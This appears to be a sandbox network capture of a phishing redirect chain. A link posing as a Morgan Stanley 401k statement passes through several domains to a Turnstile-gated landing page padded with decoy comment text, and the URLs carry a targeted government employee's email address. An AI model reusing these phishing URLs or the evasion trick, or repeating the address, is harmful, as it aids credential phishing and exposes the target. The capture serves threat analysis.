Jan 30, 2025 19:24:14.153090000 CET	515	IN	HTTP/1.1 404 Not Found Date: Thu, 30 Jan 2025 18:24:14 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49756	104.21.64.1	80	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 19:24:15.683120966 CET	533	OUT	GET /6l7q9/?e=scotiana.bennett@ferc.gov HTTP/1.1 Host: office.docmanagementsystem.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 30, 2025 19:24:16.234350920 CET	1114	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 30 Jan 2025 18:24:16 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 30 Jan 2025 19:24:16 GMT Location: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W%2B8dy37MnUQfvfp6MU8RKaqu0EUENFEAApFj0WxpoXxrsw59Yv%2Fbpv9cZr7Lzj9xfwK0afxMLYX4HIq9nS%2Bz1SyK6nLFnjbqGG3jzjW%2B7ZqiyHC1IVmUXkSE0ysQsHcnSuWA0vXJaJ1NliXbblf0S5I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 90a37f7489ecde95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1658&rtt_var=829&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=533&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Jan 30, 2025 19:24:16.351502895 CET	1114	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 30 Jan 2025 18:24:16 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 30 Jan 2025 19:24:16 GMT Location: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W%2B8dy37MnUQfvfp6MU8RKaqu0EUENFEAApFj0WxpoXxrsw59Yv%2Fbpv9cZr7Lzj9xfwK0afxMLYX4HIq9nS%2Bz1SyK6nLFnjbqGG3jzjW%2B7ZqiyHC1IVmUXkSE0ysQsHcnSuWA0vXJaJ1NliXbblf0S5I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 90a37f7489ecde95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1658&rtt_var=829&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=533&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Jan 30, 2025 19:25:01.244249105 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 30, 2025 19:25:46.259999990 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 30, 2025 19:26:31.268322945 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	104.21.78.236	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:13 UTC	760	OUT	GET /6ea3c94f2192f278e29958b23fb7aa43/MFRVQscotiana.bennett@ferc.gov HTTP/1.1 Host: 876rfyguyt7ygty.401kstatementmorganstanley.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:13 UTC	867	IN	HTTP/1.1 302 Found Date: Thu, 30 Jan 2025 18:24:13 GMT Content-Length: 0 Connection: close Location: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/vvinx/fpmQd19KeH/scotiana.bennett%40ferc.gov Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W2iI5gPugY7RptTbGPJemMDDm3k%2BdLxCztQlFOYsjJhqzxObnLRkIQrnPPZ6ltTOkyv56aycFghMDjKlXXqkishSVzNBcu%2Bt7mtThaoGuxO8fTvRJbxuXfwFNAPFVAHwwYtx4UXo5EeEMdQK%2B0yECiSBNhlRhR7oK4D6OTPdKgZUDqyg2LYlBqQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90a37f627c0e41df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1738&min_rtt=1733&rtt_var=660&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2906&recv_bytes=1338&delivery_rate=1644144&cwnd=252&unsent_bytes=0&cid=ae6bf7ba116014d0&ts=155&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	104.21.80.1	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:15 UTC	746	OUT	GET /6l7q9?e=scotiana.bennett@ferc.gov HTTP/1.1 Host: office.docmanagementsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:15 UTC	924	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 30 Jan 2025 18:24:15 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0XFtus69KYrxZsNShTdL8MLDAa6IkJltQRRWRyiKTTPQf64wxKx08LnxvOKI8bm%2B8%2B4MMlNgMiIP5b%2FIokq%2BRfn3gY%2BK%2FMyVjmbxI%2B6zYY4b%2B5XaCAZsRu6CygjuOMNAucXzTNX3Ul8FGRsbTc1j%2Ft8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90a37f6f1c1a42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1542&min_rtt=1536&rtt_var=588&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2861&recv_bytes=1324&delivery_rate=1842271&cwnd=229&unsent_bytes=0&cid=0374e2c89434d9e0&ts=348&x=0"
2025-01-30 18:24:15 UTC	288	IN	Data Raw: 31 31 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 66 66 69 63 65 2e 64 6f 63 6d 61 6e 61 67 65 6d 65 6e 74 73 79 73 74 65 6d 2e 63 6f 6d 2f 36 6c 37 71 39 2f 3f 65 3d 73 63 6f 74 69 61 6e 61 2e 62 65 6e 6e 65 74 74 40 66 65 72 63 2e 67 6f 76 Data Ascii: 119<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov
2025-01-30 18:24:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49754	104.21.80.1	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:16 UTC	747	OUT	GET /6l7q9/?e=scotiana.bennett@ferc.gov HTTP/1.1 Host: office.docmanagementsystem.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:16 UTC	1001	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=ola75drb6si4pseg8138m0r2si; path=/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZZQjMLIcweRNlsKR2dR13GakZ2LrBk9uGEs2O0hjZX2MEOE4Gt68kHM%2FhyuPStShGppCeSzm558ZyD0Z2NqACgonRR%2FfJWh79R57G4sffGtwvzERNANOfwZoevOYWDJxp4d3yiAw7uCQ2CinSirVBoU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90a37f75c8e943ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1686&rtt_var=643&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1325&delivery_rate=1687861&cwnd=237&unsent_bytes=0&cid=c71ed44de2a7adb4&ts=1379&x=0"
2025-01-30 18:24:16 UTC	368	IN	Data Raw: 61 66 31 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 59 65 61 72 6e 47 6c 6f 77 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 41 20 73 63 69 65 6e 74 69 73 74 20 75 6e 76 65 69 6c 65 64 20 61 20 6e 65 77 20 69 6e 76 65 6e 74 69 6f 6e 20 74 68 61 74 20 63 6f 75 6c 64 20 72 65 76 6f 6c 75 74 69 6f 6e 69 7a 65 20 6d 6f 64 65 72 6e 20 74 65 63 68 6e 6f 6c 6f 67 79 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 Data Ascii: af1 <html lang="en"> <head> <meta charset="UTF-8"> <title>YearnGlow</title> ... <span>A scientist unveiled a new invention that could revolutionize modern technology.</span> --> <meta name="robots" content="noind
2025-01-30 18:24:16 UTC	1369	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 41 20 67 65 6e 74 6c 65 20 62 72 65 65 7a 65 20 63 61 72 72 69 65 64 20 74 68 65 20 73 63 65 6e 74 20 6f 66 20 66 72 65 73 68 20 66 6c 6f 77 65 72 73 20 74 68 72 6f 75 67 68 20 74 68 65 20 66 69 65 6c 64 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="https://challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>A gentle breeze carried the scent of fresh flowers through the field.</p> --> <style> body { font-family: Arial, sans-serif
2025-01-30 18:24:16 UTC	1071	IN	Data Raw: 65 74 68 6f 64 3d 22 50 4f 53 54 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 41 36 42 65 66 74 47 4d 38 49 71 49 6f 46 63 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 56 65 6c 6f 75 72 54 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 68 65 20 6d 75 73 65 75 6d 20 65 78 68 69 62 69 74 20 73 68 6f 77 63 61 73 65 64 20 72 61 72 65 20 61 72 74 69 66 61 Data Ascii: ethod="POST"> <span class="cf-turnstile" data-sitekey="0x4AAAAAAA6BeftGM8IqIoFc" data-callback="VelourTone"> </span> </form>... <span>The museum exhibit showcased rare artifa
2025-01-30 18:24:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49758	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:17 UTC	558	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:17 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 30 Jan 2025 18:24:17 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/6682e961b853/api.js Server: cloudflare CF-RAY: 90a37f7b0c3b3338-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49759	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:17 UTC	573	OUT	GET /turnstile/v0/b/6682e961b853/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:17 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:17 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48122 Connection: close accept-ranges: bytes last-modified: Thu, 30 Jan 2025 10:28:27 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 90a37f7f09384233-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:17 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 71 74 28 65 29 7c 7c 7a 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 56 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Se(e,t){return qt(e)\|\|zt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ve(e,t){var a={label:0,sent:function(){if(l[0
2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var Pe=300030;var We=300031;var j;(fu
